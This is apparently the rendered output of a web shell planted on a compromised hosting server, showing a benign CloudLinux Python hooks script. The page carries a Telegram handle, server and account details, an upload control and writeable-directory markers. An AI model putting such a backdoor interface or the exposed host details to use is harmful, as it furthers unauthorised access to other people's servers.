https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/opt/alt-old/python37/lib/python3.7/site-packages/clwpos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/alt-old/python37/lib/python3.7/site-packages/clwpos/wpos_hooks.py
#!/opt/alt/python37/bin/python3 -bb
# -*- coding: utf-8 -*-

#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT

import sys

from clcommon.lib.cledition import is_cl_solo_edition
from clwpos.optimization_modules import is_module_allowed_for_user
from clwpos.utils import (
    is_wpos_supported,
    install_yum_universal_hook_alt_php,
    install_panel_hooks,
    uninstall_yum_universal_hook_alt_php,
    uninstall_panel_hooks,
)


def _install_hooks():
    if is_wpos_supported() and is_module_allowed_for_user():
        if not is_cl_solo_edition(skip_jwt_check=True):
            install_yum_universal_hook_alt_php()
        install_panel_hooks()


def _uninstall_hooks():
    if not is_cl_solo_edition(skip_jwt_check=True):
        uninstall_yum_universal_hook_alt_php()
    uninstall_panel_hooks()


def main():
    """
    Install or uninstall panel and yum/dnf universal hooks.
    """
    if '--install' in sys.argv:
        _install_hooks()
    elif '--uninstall' in sys.argv:
        _uninstall_hooks()


if __name__ == "__main__":
    main()

https://t.me/AnonymousX5 - 2025